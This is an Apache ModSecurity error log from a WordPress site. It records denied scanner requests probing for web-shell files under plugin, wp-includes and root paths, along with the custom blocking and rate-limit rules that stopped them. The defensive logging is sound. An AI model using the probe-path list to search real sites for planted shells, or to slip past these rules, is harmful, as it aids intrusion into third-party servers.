[Sun Apr 19 05:23:20.785370 2026] [:error] [pid 15764:tid 15840] [client 217.217.250.228:60129] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/view-more/ioxi.php"] [unique_id "aeP2SGLL_sqdSHoVp-To-AAAAk4"]
[Sun Apr 19 05:23:21.357408 2026] [:error] [pid 47773:tid 47835] [client 217.217.250.228:60139] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/erinyani/baxa1.php7"] [unique_id "aeP2SeiBHdnCJDuPq9BMugAAAFM"]
[Sun Apr 19 05:23:22.256761 2026] [:error] [pid 47773:tid 47830] [client 217.217.250.228:60146] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/erinyani/baxa1.php"] [unique_id "aeP2SuiBHdnCJDuPq9BMwgAAAE4"]
[Sun Apr 19 05:23:22.671029 2026] [:error] [pid 15693:tid 15719] [client 217.217.250.228:60159] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/seoxx/randkeyword.php"] [unique_id "aeP2SsNMD-ccazQlTskU2QAAAVc"]
[Sun Apr 19 05:23:23.574796 2026] [:error] [pid 15693:tid 15700] [client 217.217.250.228:60168] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "aeP2S8NMD-ccazQlTskU4AAAAUQ"]
[Sun Apr 19 05:23:24.052791 2026] [:error] [pid 15763:tid 15808] [client 217.217.250.228:60180] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "aeP2TLMXv1Y1THOoxaAhQQAAAgw"]
[Sun Apr 19 05:28:30.082572 2026] [:error] [pid 47772:tid 47812] [client 217.217.250.228:64635] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "aeP3foc0L16cb4smAz-bWgAAABc"]
[Sun Apr 19 05:28:30.620818 2026] [:error] [pid 47775:tid 47857] [client 217.217.250.228:64640] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/postnews.php"] [unique_id "aeP3frmztjlk9tsmoexuOQAAAI4"]
[Sun Apr 19 05:28:31.018369 2026] [:error] [pid 15694:tid 15751] [client 217.217.250.228:64644] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "aeP3f7imB-jol1fwqAq6IAAAAZg"]
[Sun Apr 19 05:28:31.628637 2026] [:error] [pid 47773:tid 47837] [client 217.217.250.228:64648] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/txets.php"] [unique_id "aeP3f-iBHdnCJDuPq9BQBAAAAFU"]
[Sun Apr 19 05:28:32.048002 2026] [:error] [pid 47773:tid 47832] [client 217.217.250.228:64658] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aeP3gOiBHdnCJDuPq9BQBgAAAFA"]
[Sun Apr 19 05:28:32.585347 2026] [:error] [pid 15763:tid 15816] [client 217.217.250.228:64664] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aeP3gLMXv1Y1THOoxaAiPAAAAhQ"]
[Sun Apr 19 05:28:33.030347 2026] [:error] [pid 47775:tid 47863] [client 217.217.250.228:64668] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aeP3gbmztjlk9tsmoexuQAAAAJQ"]
[Sun Apr 19 05:28:33.442852 2026] [:error] [pid 47773:tid 47816] [client 217.217.250.228:64678] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/txets.php"] [unique_id "aeP3geiBHdnCJDuPq9BQCAAAAEA"]
[Sun Apr 19 05:28:33.883331 2026] [:error] [pid 47773:tid 47836] [client 217.217.250.228:64682] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "aeP3geiBHdnCJDuPq9BQCQAAAFQ"]
[Sun Apr 19 05:28:34.288355 2026] [:error] [pid 47773:tid 47828] [client 217.217.250.228:64687] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/schallfuns.php"] [unique_id "aeP3guiBHdnCJDuPq9BQDQAAAEw"]
[Sun Apr 19 05:28:34.717567 2026] [:error] [pid 47773:tid 47835] [client 217.217.250.228:64694] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/memberfuns.php"] [unique_id "aeP3guiBHdnCJDuPq9BQDwAAAFM"]
[Sun Apr 19 05:28:35.768457 2026] [:error] [pid 15694:tid 15732] [client 217.217.250.228:64715] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/memberfuns.php"] [unique_id "aeP3g7imB-jol1fwqAq6JAAAAYY"]
[Sun Apr 19 05:28:36.240184 2026] [:error] [pid 15694:tid 15749] [client 217.217.250.228:64724] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/memberfuns.php"] [unique_id "aeP3hLimB-jol1fwqAq6JgAAAZc"]
[Sun Apr 19 05:28:36.680468 2026] [:error] [pid 47772:tid 47794] [client 217.217.250.228:64735] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/delpaths.php"] [unique_id "aeP3hIc0L16cb4smAz-bXAAAAAU"]
[Sun Apr 19 05:28:37.092827 2026] [:error] [pid 15763:tid 15805] [client 217.217.250.228:64741] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gdftps.php"] [unique_id "aeP3hbMXv1Y1THOoxaAiPQAAAgk"]
[Sun Apr 19 05:28:37.589198 2026] [:error] [pid 15764:tid 15846] [client 217.217.250.228:64745] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeP3hWLL_sqdSHoVp-TpvAAAAlQ"]
[Sun Apr 19 05:28:37.988278 2026] [:error] [pid 15764:tid 15833] [client 217.217.250.228:64755] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeP3hWLL_sqdSHoVp-TpvgAAAkc"]
[Sun Apr 19 05:28:38.395086 2026] [:error] [pid 15764:tid 15837] [client 217.217.250.228:64765] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classfuns.php"] [unique_id "aeP3hmLL_sqdSHoVp-TpwQAAAks"]
[Sun Apr 19 05:28:38.841929 2026] [:error] [pid 47886:tid 47907] [client 217.217.250.228:64771] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "aeP3hkSe8yiyuPrD7yPqSQAAANM"]
[Sun Apr 19 05:28:39.275253 2026] [:error] [pid 47886:tid 47896] [client 217.217.250.228:64780] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeP3h0Se8yiyuPrD7yPqSgAAAMg"]
[Sun Apr 19 05:28:39.737399 2026] [:error] [pid 15764:tid 15840] [client 217.217.250.228:64787] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/tempfuns.php"] [unique_id "aeP3h2LL_sqdSHoVp-TpxgAAAk4"]
[Sun Apr 19 05:28:40.287137 2026] [:error] [pid 15764:tid 15826] [client 217.217.250.228:64800] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "aeP3iGLL_sqdSHoVp-TpyQAAAkA"]
[Sun Apr 19 05:28:40.710405 2026] [:error] [pid 15763:tid 15804] [client 217.217.250.228:64811] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeP3iLMXv1Y1THOoxaAiPgAAAgg"]
[Sun Apr 19 05:28:41.125902 2026] [:error] [pid 15764:tid 15848] [client 217.217.250.228:64817] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/hplfuns.php"] [unique_id "aeP3iWLL_sqdSHoVp-TpzgAAAlY"]
[Sun Apr 19 05:28:41.531593 2026] [:error] [pid 15764:tid 15836] [client 217.217.250.228:64821] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/userfuns.php"] [unique_id "aeP3iWLL_sqdSHoVp-TpzwAAAko"]
[Sun Apr 19 05:28:41.938673 2026] [:error] [pid 47775:tid 47862] [client 217.217.250.228:64830] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeP3ibmztjlk9tsmoexuSwAAAJM"]
[Sun Apr 19 05:28:42.403451 2026] [:error] [pid 15763:tid 15806] [client 217.217.250.228:64837] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeP3irMXv1Y1THOoxaAiQAAAAgo"]
[Sun Apr 19 05:28:42.798537 2026] [:error] [pid 47773:tid 47837] [client 217.217.250.228:64850] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeP3iuiBHdnCJDuPq9BQFQAAAFU"]
[Sun Apr 19 05:28:43.240713 2026] [:error] [pid 47886:tid 47911] [client 217.217.250.228:64858] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chtmlfuns.php"] [unique_id "aeP3i0Se8yiyuPrD7yPqSwAAANc"]
[Sun Apr 19 05:28:43.847957 2026] [:error] [pid 47772:tid 47790] [client 217.217.250.228:64864] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "aeP3i4c0L16cb4smAz-bXgAAAAE"]
[Sun Apr 19 05:28:44.260291 2026] [:error] [pid 47773:tid 47828] [client 217.217.250.228:64878] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classsmtps.php"] [unique_id "aeP3jOiBHdnCJDuPq9BQLQAAAEw"]
[Sun Apr 19 05:28:44.691120 2026] [:error] [pid 47886:tid 47889] [client 217.217.250.228:64885] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classfuns.php"] [unique_id "aeP3jESe8yiyuPrD7yPqTgAAAME"]
[Sun Apr 19 05:28:45.469046 2026] [:error] [pid 47772:tid 47795] [client 217.217.250.228:64899] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/comdofuns.php"] [unique_id "aeP3jYc0L16cb4smAz-bXwAAAAY"]
[Sun Apr 19 05:28:46.132755 2026] [:error] [pid 15763:tid 15800] [client 217.217.250.228:64903] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeP3jrMXv1Y1THOoxaAiSAAAAgQ"]
[Sun Apr 19 05:28:46.534166 2026] [:error] [pid 15765:tid 15863] [client 217.217.250.228:64913] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gdftps.php"] [unique_id "aeP3jvRqinw-W5EwQ76AxQAAAoo"]
[Sun Apr 19 05:28:46.935350 2026] [:error] [pid 47886:tid 47910] [client 217.217.250.228:64925] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/hinfofuns.php"] [unique_id "aeP3jkSe8yiyuPrD7yPqTwAAANY"]
[Sun Apr 19 05:28:47.343353 2026] [:error] [pid 47773:tid 47840] [client 217.217.250.228:64933] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeP3j-iBHdnCJDuPq9BQMgAAAFg"]
[Sun Apr 19 05:28:47.754394 2026] [:error] [pid 15763:tid 15820] [client 217.217.250.228:64941] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/memberfuns.php"] [unique_id "aeP3j7MXv1Y1THOoxaAiSgAAAhg"]
[Sun Apr 19 05:28:48.145474 2026] [:error] [pid 47773:tid 47821] [client 217.217.250.228:64949] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/moddofuns.php"] [unique_id "aeP3kOiBHdnCJDuPq9BQNAAAAEU"]
[Sun Apr 19 05:28:48.543014 2026] [:error] [pid 47772:tid 47789] [client 217.217.250.228:64954] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/onclickfuns.php"] [unique_id "aeP3kIc0L16cb4smAz-bYQAAAAA"]
[Sun Apr 19 05:28:48.934423 2026] [:error] [pid 47773:tid 47829] [client 217.217.250.228:64959] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/qinfofuns.php"] [unique_id "aeP3kOiBHdnCJDuPq9BQNQAAAE0"]
[Sun Apr 19 05:28:49.331615 2026] [:error] [pid 47773:tid 47825] [client 217.217.250.228:64966] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/tempfuns.php"] [unique_id "aeP3keiBHdnCJDuPq9BQNwAAAEk"]
[Sun Apr 19 05:28:49.729939 2026] [:error] [pid 47773:tid 47840] [client 217.217.250.228:64972] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/userfuns.php"] [unique_id "aeP3keiBHdnCJDuPq9BQPAAAAFg"]
[Sun Apr 19 05:28:50.155923 2026] [:error] [pid 47772:tid 47810] [client 217.217.250.228:64979] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "aeP3koc0L16cb4smAz-bYwAAABU"]
[Sun Apr 19 05:28:50.571192 2026] [:error] [pid 47773:tid 47828] [client 217.217.250.228:64991] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "aeP3kuiBHdnCJDuPq9BQPQAAAEw"]
[Sun Apr 19 06:04:09.122386 2026] [:error] [pid 47886:tid 47897] [client 4.204.200.16:5057] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeP_2USe8yiyuPrD7yPy6wAAAMk"]
[Sun Apr 19 06:04:15.444474 2026] [:error] [pid 47772:tid 47806] [client 4.204.200.16:4561] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeP_34c0L16cb4smAz-s2wAAABE"]
[Sun Apr 19 06:04:22.305135 2026] [:error] [pid 47772:tid 47812] [client 4.204.200.16:4136] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeP_5oc0L16cb4smAz-s6gAAABc"]
[Sun Apr 19 06:42:18.817011 2026] [:error] [pid 47773:tid 47818] [client 216.173.113.103:29698] [client 216.173.113.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.173.113.103, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeQIyuiBHdnCJDuPq9B5vgAAAEI"]
